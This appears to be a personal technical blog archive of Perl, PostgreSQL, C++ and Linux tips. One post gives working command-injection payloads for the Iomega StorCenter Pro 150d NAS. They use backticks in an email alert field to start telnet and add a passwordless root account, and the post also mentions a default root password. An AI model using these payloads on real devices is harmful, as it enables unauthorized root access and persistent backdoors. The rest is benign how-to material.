Friday, November 29, 2013

OpenID Connect with Perl

Screenshot of Google consent screen
OpenID Connect is a new federated authentication and authorization protocol based on OAuth 2.0. The specification hasn't been finalized yet, but is expected soon.

Perl support is available through the OIDC::Lite module written by Ryo Ito. You can fetch it through CPAN or directly from Ryo's github repository.

The OIDC::Lite::Demo::Client package provides example code for a bunch of providers (as of this writing, there's support for Google, Facebook, Microsoft, Yahoo Japan, and the Japanese social networking site Mixi).

Monday, September 2, 2013

Hacking the Iomega StorCenter Pro 150d NAS

The StorCenter Pro 150d is a circa 2007 network-attached storage device (NAS) from Iomega which, frustratingly, does not provide shell access.

I had a problem with AFP (Apple Filing Protocol) not working but managed to get root access to fix it (turned out to be an orphaned pid file which wasn't being removed on boot, and which was preventing the service from starting).

The 150d has a vulnerability in how it handles email addresses within the alerts interface:

Screenshot of the StorCenter Pro 150d's Alerts Interface

You can append any arbitrary command between backticks and it will be dutifully executed as root when you click the "Send Test Mail" button.

It turns out that the StorCenter Pro 150d has a telnet daemon available through inetd. So all we need to do is start that, add a passwordless root account, and we can pop right in.,

Here are the commands that worked for me, but use them at your own risk. Click "Send Test Mail" after entering each one. The null@[192.168.0.18] address is arbitrary -- any email address should work there.

UPDATE: See the comment from @George Kopf below. Apparently the default root password is simply the number '1', so you probably don't need to create the additional account. Just start the telnet daemon and try logging in as user 'root' with password '1'.

null@[192.168.0.18]`mount -t devpts devpts /dev/pts >> /nethdd/public/hacknas.log 2>&1 &`

null@[192.168.0.18]`nohup /bin/inetd /etc/inetd.conf >> /nethdd/public/hacknas.log 2>&1 &`

null@[192.168.0.18]`echo 'root2::0:0:administrator:/mnt/0:/bin/sh' >>/etc/passwd`

If you have the /public share of your NAS mounted somewhere, you can watch the hacknas.log file to see any error messages.

Once done, you should be able to telnet in:

$ telnet nas
Trying 192.168.0.20...
Connected to 192.168.0.20.
Escape character is '^]'.

Linux 2.6.13 (obi) (pts/0)

nas login: root2


BusyBox v1.00 (BUILDTIME) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

-sh: can't access tty; job control turned off
~ #

System info:

# cat /proc/cpuinfo
processor : 0
cpu : e300
revision : 1.1 (pvr 8083 0011)
bogomips : 263.16
chipset : 8347E
Vendor : Freescale Inc.
Machine : mpc8347E sys
core clock : 396 MHz
bus  clock : 264 MHz
PVR : 0x80830011
SVR : 0x80520011
PLL setting : 0x6
Memory : 256 MB

For reference, here is the Iomega 150d manual.

Thanks to Jim Buzbee for identifying the alert vulnerability, and asysadm for his post on modifying the NFS export options.

Friday, March 15, 2013

Arsenal SAM7R Instruction Manual

The SAM7R-61 is a high quality Bulgarian-made AK47 rifle chambered in 7.62x39mm. It features a milled receiver and a chrome lined hammer-forged barrel.
Arsenal SAM7R-61
Arsenal SAM7R-61

  • 14mm muzzle threads
  • muzzle break
  • cleaning rod
  • bayonet lug
  • black polymer furniture
  • intermediate length buttstock
  • scope rail
  • one 10-round magazine
  • sling
  • oil bottle
  • cleaning kit

The SAM7R also comes in a California compliant model (the SAM7R-61C) that has a non-detachable magazine (you need to use their provided tool to release the mag).

Saturday, July 3, 2010

pg_sample: extract a sample dataset from a larger PostgreSQL database

pg_sample is a PostgreSQL utility for making smaller versions of large databases.

download pg_sample 0.01

When you have a relatively large database (tables with, say, millions or billions of rows), it can be difficult to generate smaller datasets to work with, especially if foreign keys are heavily used.

That's where this script comes in. It will create smaller instances of each table along with any additional rows needed to satisfy foreign key constraints (circular dependencies are supported).

The script's operation closely resembles that of pg_dump. For example, assuming we have a large database named largedb, a smaller version could be produced with:

createdb smalldb
pg_sample largedb | psql smalldb
The smalldb would then contain a subset of largedb's data.

Here are the command-line options (many of which mirror pg_dump):

-a
--data-only
Output only the data, not the schema (data definitions).

-E *encoding*
--encoding=*encoding*
Use the specified character set encoding. If not specified, uses the
environment variable PGCLIENTENCODING, if defined; otherwise, uses
the encoding of the database.

-f *file*
--file=*file*
Send output to the specified file. If omitted, standard output is
used.

--force
Drop the sample schema if it exists.

--keep
Don't delete the sample schema when the script finishes.

--limit=*number*
The maximum number of rows to initially copy from each table
(defaults to 100). Note that sample tables may end up with
significantly more rows in order to satisfy foreign key constraints.

--random
Randomize the rows initially selected from each table. May
significantly increase the running time of the script.

--schema=*name*
The schema name to use for the sample database (defaults to
_pg_sample).

--trace
Turn on Perl DBI tracing. See the DBI module documentation for
details.

--verbose
Output status information to standard error.

The following options control the database connection parameters.

-h *host*
--host=*host*
The host name to connect to. Defaults to the PGHOST environment
variable if not specified.

-p *port*
--port=*port*
The database port to connect to. Defaults to the PGPORT environment
variable, if set; otherwise, the default port is used.

-U *username*
--username=*username*
User name to connect as.

-W *password*
-password=*password*
Password to connect with.
See also: pg_sample Github source repository

Sunday, May 9, 2010

ip2host 1.11 Release

A new release of ip2host is available. It's a small maintenance release incorporating changes from the Debian package maintainer. The source repository has also been moved to Github.

http://github.com/mla/ip2host

DESCRIPTION

    Resolves IPs to hostnames in web server logs. This is a faster, drop-in
    replacement for the logresolve utility distributed with the Apache web
    server.

CHANGELOG

ip2host 1.11

  * Silence warnings thanks to Andrew McNaughton and Gunnar Wolf
    http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=563129

Saturday, May 8, 2010

Installing Adobe AIR on 64-bit Ubuntu 9.10 Linux

Adobe AIR isn't currently available for 64-bit Linux, but they provide instructions on running the 32-bit version.

I've converted the Ubuntu instructions into this shell script:
http://sites.google.com/site/mlawire/installing-adobe-air-1-5-on-64-bit-ubuntu-linux/install-adobe-air-ubuntu-64bit.sh

From a terminal:

wget http://sites.google.com/site/mlawire/installing-adobe-air-1-5-on-64-bit-ubuntu-linux/install-adobe-air-ubuntu-64bit.sh
chmod a+rx install-adobe-air-ubuntu-64bit.sh
sudo ./install-adobe-air-ubuntu-64bit.sh
This worked for me on Ubuntu 9.10. Please let me know if you try it on other Ubuntu releases or otherwise have trouble with it.

Keywords: Installing Adobe AIR 64-bit Linux Ubuntu

Monday, October 12, 2009

Doxygen Example

Doxygen is a documentation system for use with many languages, including C++, C, Java, and Python.

First, install Doxygen. Using Ubuntu, I installed the package with:
$ apt-get install doxygen
Next. enter the source directory of a project you're working on and run:
$ doxygen -g
That will create a config file named Doxyfile in the current directory. You can customize it, but we'll accept the defaults for now.

Now begin writing your documentation. Here's an example of documenting a simple C++ program:

#include <iostream>

using namespace std;

/**
* @brief Example class to demonstrate basic Doxygen usage
* @author MLA
*
* This is a simple class to demonstrate how Doxygen is used.
* It implements the Euclidean algorithm to compute the greatest
* common divisor of two numbers.
*/

class Euclid {
public:

/**
* Compute the greatest common divisor of two integers.
*
* @param a first integer
* @param b second integer
* @return greatest common divisor of a and b
*/
static const int gcd(const int a, const int b) {
if (0 == b) return a;
return gcd(b, a % b);
}
};

Finally, run doxygen, which will process the files and generate documentation in the html subdirectory:
$ doxygen
For more details, see the Doxygen homepage.

Monday, August 17, 2009

C++ Constant for PI

Where's the definition for pi? Doesn't C++ provide a constant? What about C?

The C++ standard doesn't provide a value for pi but it's simple to define yourself:

#include <iostream>
#include <cmath> // M_PI is not standard

using namespace std;

class MathConst {
public:
static const long double PI;
};

const long double MathConst::PI = acos((long double) -1);

int main() {
cout.precision(100);
cout << "PI ~ " << MathConst::PI << endl;
}
Output:

$ g++ MathConst.cpp -o pi
$ ./pi
PI ~ 3.14159265358979323851280895940618620443274267017841339111328125
That is accurate to 18 decimal places.

Here's a definition in C:

#include <math.h>
#include <stdio.h>

double pi() {
const double pi = acos((double) - 1);
return pi;
}

int main() {
printf("%.20f\n", pi());
return 0;
}

Wednesday, August 5, 2009

Postgresql: Indexes on Foreign Keys

This query identifies foreign keys that are potentially missing indexes (Postgresql does not create indexes on foreign keys automatically).
/*
  Look for foreign key constraints that are missing indexes on the
  referencing table.

  Orders results by the size of the referencing table, largest first,
  on the assumption that, all else being equal, they are the most likely
  to benefit from the addition of indexes.

  This is only meant as a starting point, and isn't perfect.
  It's possible, for example, that it will report a missing index
  when in fact one is available. e.g., it won't realize that an index on
  (f1, f2) could be used with a fk on (f1). However, it will recognize
  that an index on (f1, f2) can be used with a fk on (f2, f1).

  Usage: psql -q dbname -f pg-find-missing-fk-indexes.sql
*/

CREATE FUNCTION pg_temp.sortarray(int2[]) returns int2[] as '
  SELECT ARRAY(
      SELECT $1[i]
        FROM generate_series(array_lower($1, 1), array_upper($1, 1)) i
    ORDER BY 1
  )
' language sql;

  SELECT conrelid::regclass
         ,conname
         ,reltuples::bigint
    FROM pg_constraint
         JOIN pg_class ON (conrelid = pg_class.oid)
   WHERE contype = 'f'
         AND NOT EXISTS (
           SELECT 1
             FROM pg_index
            WHERE indrelid = conrelid
                  AND pg_temp.sortarray(conkey) = pg_temp.sortarray(indkey)
         )
ORDER BY reltuples DESC
;

Saturday, August 1, 2009

Linux: Download YouTube Videos

Install the youtube-dl script. With Ubuntu:

sudo apt-get install youtube-dl
Next, find the YouTube video you want to download and pass it to the script:

youtube-dl -b -t "http://www.youtube.com/watch?v=aEXFUbSbg1I"
Command-line options:

Usage: youtube-dl [options] video_url

Options:
-h, --help print this help text and exit
-v, --version print program version and exit
-u USERNAME, --username=USERNAME
account username
-p PASSWORD, --password=PASSWORD
account password
-o FILE, --output=FILE
output video file name
-q, --quiet activates quiet mode
-s, --simulate do not download video
-t, --title use title in file name
-l, --literal use literal title in file name
-n, --netrc use .netrc authentication data
-g, --get-url print final video URL only
-2, --title-too used with -g, print title too
-f FORMAT, --format=FORMAT
append &fmt=FORMAT to the URL
-b, --best-quality alias for -f 18
See also: youtube-dl Homepage

Sunday, July 26, 2009

Eight Ways to Convert Tabs to Spaces

A collection of various ways to convert tabs to spaces in Unix/Linux/OS X with standard programs and utilities.
#1 expand/unexpand utilities
expand < input.txt > output.txt

#2 Sed
sed 's/\t/ /g' < input.txt > output.txt

#3 Awk
awk '{ gsub(/\t/, "  "); print }' < input.txt > output.txt

#4 Perl
perl -pe 's/\t/  /g' < input.txt > output.txt

#5 Ruby
ruby -pe '$_.gsub!(/\t/, "  ")' < input.txt > output.txt

#6a Vim editor
:set expandtab
:%retab! 

#6b Vim editor
:%s/\t/  /g

#7 Emacs editor
Set 'indent-tabs-mode' to nil to have tabs automatically converted to spaces.
To convert a region, "M-x untabify" will change tabs to spaces and "M-x tabify" will do the inverse.

#8 cut
cut -f1- --output-delimiter='  ' < input.txt > output.txt

Saturday, July 25, 2009

Web: HTML Encoder

This page will convert HTML special characters into HTML entities. The encoded text can then be inserted into another HTML document or blog posting and the reserved characters (such as < and &) will show up normally.

Enter your text in the form field below. The encoded result will be displayed in the lower field as you type.

Enter HTML to Encode:


HTML Encoded Result: (Click to Select All)

The HTML encoding is performed with this Javascript function:

/* encode html entities */
var char2entity = { '"' : '&quot;', '<' : '&lt;', '>' : '&gt;', '&' : '&amp;', "'" : '&#39;' }; /* IE can't handle &apos; */
function encode_entities(str) {
var rv = '';
for (var i = 0; i < str.length; i++) {
var ch = str.charAt(i);
rv += char2entity[ch] || ch;
}
return rv;
}
See also: handy shell function for html encoding.

Keywords: html encoding, html encoder

Web: Multiple Firefox Profiles with Linux

To run multiple instances of Firefox simultaneously, or run multiple copies with different settings/plugins, start Firefox like this:
firefox -P -no-remote
That will bring up a dialog box that lets you select a profile or create a new one.

Other Firefox command-line options:

Usage: firefox [ options ... ] [URL]
where options include:

X11 options
--display=DISPLAY X display to use
--sync Make X calls synchronous
--no-xshm Don't use X shared memory extension
--xim-preedit=STYLE
--xim-status=STYLE
--g-fatal-warnings Make all warnings fatal

Mozilla options
-height <value> Set height of startup window to <value>.
-h or -help Print this message.
-width <value> Set width of startup window to <value>.
-v or -version Print Firefox version.
-P <profile> Start with <profile>.
-ProfileManager Start with ProfileManager.
-no-remote Open new instance, not a new window in running instance.
-UILocale <locale> Start with <locale> resources as UI Locale.
-safe-mode Disables extensions and themes for this session.
-jsconsole Open the Error console.
-g or --debug Start within /usr/bin/gdb (Must be first)

Wednesday, July 22, 2009

Patch: Perl Module HTTP::Proxy 0.23 Hop-By-Hop Test Failure

HTTP::Proxy 0.23 is failing test t/50hopbyhop:

t/50hopbyhop........1/28
# Failed test 'Hop-by-hop Foo'
# at t/50hopbyhop.t line 38.
# got: undef
# expected: 'foofoo'

# Failed test 'Hop-by-hop Bar'
# at t/50hopbyhop.t line 39.
# got: undef
# expected: 'barbar'

# Failed test 'Connection header removed'
# at t/50hopbyhop.t line 45.
# got: 'foofoo'
# expected: undef

# Failed test 'Connection header removed'
# at t/50hopbyhop.t line 46.
# got: 'barbar'
# expected: undef
I've submitted a patch that's been accepted by the author; it should be in the next release.

Update: the patch is included as of version 0.24.

Sunday, July 19, 2009

Blogger: Exclude Your Visits from Google Analytics

Google Analytics has a way of excluding certain visits to a site based on the presence of a special cookie. Many resources suggest that you create a "hidden" Web page to accomplish this, but that's difficult to do with Blogger. There is a workaround, however.

First, make sure you have Google Analytics installed and running on your blog.

Next, from each Web browser you use, pull up your blog. Once the page has fully loaded, enter the following javascript in the browser's location bar and press return/enter:
javascript:pageTracker._setVar('notrack');alert('cookie set');
That will set a "notrack" cookie on your browser.

Finally, sign into your Google Analytics account and create a custom filter to exclude all visitors that have the "notrack" cookie set. The filter values should be:

Filter Type: Custom filter > Exclude
Filter Field: User Defined
Filter Pattern: notrack
Case Sensitive: No
Google Analytics should now begin ignoring your visits.

This approach isn't specific to Blogger; it should work on any site, including other blogging platforms such as Wordpress and Movable Type.

Also, to make it simpler to set the cookie, you may want to create a bookmark with the above javascript. Once added, simply go to your blog and select the bookmark.

Keywords: blogger ignore visits, blogger exclude, blogger hide

Saturday, July 18, 2009

Perl: Using LWP with a SOCKS Proxy

For this example, we'll use LWP to connect through a SOCKS proxy to the Tor anonymizing network. Under Ubuntu/Debian, installation of Tor is as simple as:
sudo apt-get install tor
Next, install the LWP::Protocol::socks Perl module to add support for the "socks" scheme. Installing from CPAN:
sudo cpan LWP::Protocol::socks
You should now be able to use LWP with Tor:

#!/usr/bin/perl
use strict;
use LWP::UserAgent;

my $ua = LWP::UserAgent->new(
agent => q{Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET
CLR 1.1.4322)},
);
$ua->proxy([qw/ http https /] => 'socks://localhost:9050'); # Tor proxy
$ua->cookie_jar({});
my $rsp = $ua->get('http://www.yahoo.com/');
print $rsp->content;

Friday, July 17, 2009

Web: Resizing the Browser Window

Use this javascript snippet to test web pages at different browser sizes:
javascript:resizeTo(1024, 768)
Enter that into your browser's location bar and it should resize your window to 1024x768 (the most common resolution, currently). The first value is the width in pixels. The second is the height.

Here are resize links to the five most popular resolutions. Bookmark these or drag them to your toolbar for quick access.
There are also browser plugins that can adjust the window size, such as Firefox's Web Developer Toolbar.

Bash: Iterating Over Command-Line Arguments

Shell script parameters are available through the positional variables $1, $2, $3, etc. They are also placed in the "special" variables $* and $@. The following script illustrates how those values are expanded.

#!/bin/bash

print_arguments () {
idx=1
for arg; do
echo " param $idx: $arg"
let idx++
done
echo
}

echo "\$* - arguments with spaces are split"
print_arguments $*

echo "\$@ - same"
print_arguments $@

echo "\"\$*\" - expands to single value"
print_arguments "$*"

echo "\"\$@\" - preserves arguments exactly as passed"
print_arguments "$@"

Example output:

$ ./test-param-expansion orange 9 "Bringing Up Baby"
$* - arguments with spaces are split
param 1: orange
param 2: 9
param 3: Bringing
param 4: Up
param 5: Baby

$@ - same
param 1: orange
param 2: 9
param 3: Bringing
param 4: Up
param 5: Baby

"$*" - expands to single value
param 1: orange 9 Bringing Up Baby

"$@" - preserves arguments exactly as passed
param 1: orange
param 2: 9
param 3: Bringing Up Baby

So to preserve the command-line arguments exactly as supplied, use the special variable "$@" when iterating. Mnemonic: quote at the right place.

Example for loops:

#!/bin/sh

# loop over all args
for arg in "$@"; do
echo $arg
done

# short-cut; same as above
for arg; do
echo $arg
done

See also: Bash Manual: Special Parameters

Wednesday, July 15, 2009

Linux: Encrypted Filesystem on a Regular Disk File

Some notes on creating a LUKS-based encrypted filesystem on a regular disk file with Ubuntu 9.04 Jaunty.


Create the Encrypted Filesystem:

# create a 10M file
$ dd if=/dev/urandom of=testfs bs=1M count=10

# associate it with the loop device
$ losetup /dev/loop0 testfs

# encrypt it (will ask for password to use)
$ cryptsetup luksFormat /dev/loop0

# open the encrypted loop device
$ cryptsetup luksOpen /dev/loop0 testfs

# format it with ext2 (or whatever you prefer)
$ mkfs.ext2 /dev/mapper/testfs

# mount it
$ mount /dev/mapper/testfs /mnt/test

# confirm mount
$ df -h /mnt/test
Filesystem            Size  Used Avail Use% Mounted on
/dev/mapper/testfs    9.2M   88K  8.7M   1% /mnt/test


Unmount the Filesystem:

# unmount it
$ umount /mnt/test

# close encryption
$ cryptsetup luksClose /dev/mapper/testfs

# release loop device
$ losetup -d /dev/loop0


Mount an Encrypted Filesystem:

# associate file with the loop device
$ losetup /dev/loop0 testfs

# open the encrypted loop device
$ cryptsetup luksOpen /dev/loop0 testfs

# mount it
$ mount /dev/mapper/testfs /mnt/test

Shell: Aliases for Escaping/Unescaping Query Parameters

Here are a couple more Unix aliases, this time for quickly escaping and unescaping URL query parameters. These are defined in my ~/.bash_aliases file.

alias urlencode="perl -MURI::Escape -ple '\$_=uri_escape(\$_); s/%20/+/g'"
alias urldecode="perl -MURI::Escape -ple '\$_=uri_unescape(\$_); s/\+/ /'"
To escape/encode all unsafe characters in a query parameter:

$ echo "blue socks?" | urlencode
blue+socks%3F
And to unescape/decode a parameter:

$ echo blue+socks%3F | urldecode
blue socks?
These aliases depend on Perl and the URI::Escape module which are standard on most modern Unixes.